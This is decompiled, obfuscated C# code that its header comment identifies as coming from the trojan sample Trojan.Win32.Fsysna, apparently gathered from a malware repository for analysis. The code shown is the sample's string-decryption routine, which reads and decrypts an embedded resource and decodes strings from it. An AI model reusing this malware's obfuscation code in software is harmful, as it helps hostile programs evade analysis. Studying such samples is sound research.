// Decompiled with JetBrains decompiler
// Type: .
// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe

using \u0003;
using \u0005;
using \u000F;
using \u0017;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;

namespace \u0017
{
  internal sealed class \u0004
  {
    [NonSerialized]
    internal static \u0002 \u0001;
    private static string \u0001;
    private static string \u0002;
    private static byte[] \u0003;
    private static Hashtable \u0004;
    private static bool \u0005;
    private static int \u0006;

    public static string \u0082([In] int obj0)
    {
      obj0 -= \u0004.\u0006;
      if (\u0004.\u0005)
      {
        string str = (string) \u009C.\u007E\u0019\u0003((object) \u0004.\u0004, (object) obj0);
        if (str != null)
          return str;
      }
      int num1 = obj0;
      byte[] numArray1 = \u0004.\u0003;
      int index1 = num1;
      int num2 = index1 + 1;
      int num3 = (int) numArray1[index1];
      int num4;
      if ((num3 & 128) == 0)
      {
        num4 = num3;
        if (num4 == 0)
          return string.Empty;
      }
      else if ((num3 & 64) == 0)
      {
        num4 = ((num3 & 63) << 8) + (int) \u0004.\u0003[num2++];
      }
      else
      {
        int num5 = (num3 & 31) << 24;
        byte[] numArray2 = \u0004.\u0003;
        int index2 = num2;
        int num6 = index2 + 1;
        int num7 = (int) numArray2[index2] << 16;
        int num8 = num5 + num7;
        byte[] numArray3 = \u0004.\u0003;
        int index3 = num6;
        int num9 = index3 + 1;
        int num10 = (int) numArray3[index3] << 8;
        int num11 = num8 + num10;
        byte[] numArray4 = \u0004.\u0003;
        int index4 = num9;
        num2 = index4 + 1;
        int num12 = (int) numArray4[index4];
        num4 = num11 + num12;
      }
      try
      {
        byte[] numArray5 = \u0087.\u008C\u0002(\u008B.\u007E\u0093\u0003((object) \u0003\u0003.\u0094\u0003(), \u0004.\u0003, num2, num4));
        string str = \u0087\u0002.\u0080\u0002(\u008B.\u007E\u0093\u0003((object) \u0003\u0003.\u0094\u0003(), numArray5, 0, numArray5.Length));
        if (\u0004.\u0005)
        {
          try
          {
            \u001E\u0002.\u007E\u0018\u0003((object) \u0004.\u0004, (object) obj0, (object) str);
          }
          catch
          {
          }
        }
        return str;
      }
      catch
      {
        return (string) null;
      }
    }

    static \u0004()
    {
      \u0004.\u007F();
      \u0004.\u0001 = "1";
      \u0004.\u0002 = "129";
      \u0004.\u0003 = (byte[]) null;
      \u0004.\u0004 = (Hashtable) null;
      \u0004.\u0005 = false;
      \u0004.\u0006 = 0;
      if (\u0082\u0002.\u0012\u0002(\u0004.\u0001, "1"))
      {
        \u0004.\u0005 = true;
        \u0004.\u0004 = new Hashtable();
      }
      \u0004.\u0006 = \u009B.\u0089\u0002(\u0004.\u0002);
      Assembly assembly = \u0091\u0002.\u0083\u0003();
      Stream stream = \u0094\u0002.\u007E\u0081\u0003((object) assembly, "{4c1ca376-1b35-4961-80e8-8029ad6b5a8b}");
      try
      {
        int length = \u0097.\u0088\u0002(\u0019\u0002.\u007E\u009A\u0003((object) stream));
        byte[] numArray = new byte[length];
        int num = \u009B\u0002.\u007E\u009D\u0003((object) stream, numArray, 0, length);
        \u0004.\u0003 = \u000E.\u0081(numArray);
        \u009E.\u007E\u009C\u0003((object) stream);
      }
      finally
      {
        if (stream != null)
          \u009E.\u007E\u0011\u0002((object) stream);
      }
    }
  }
}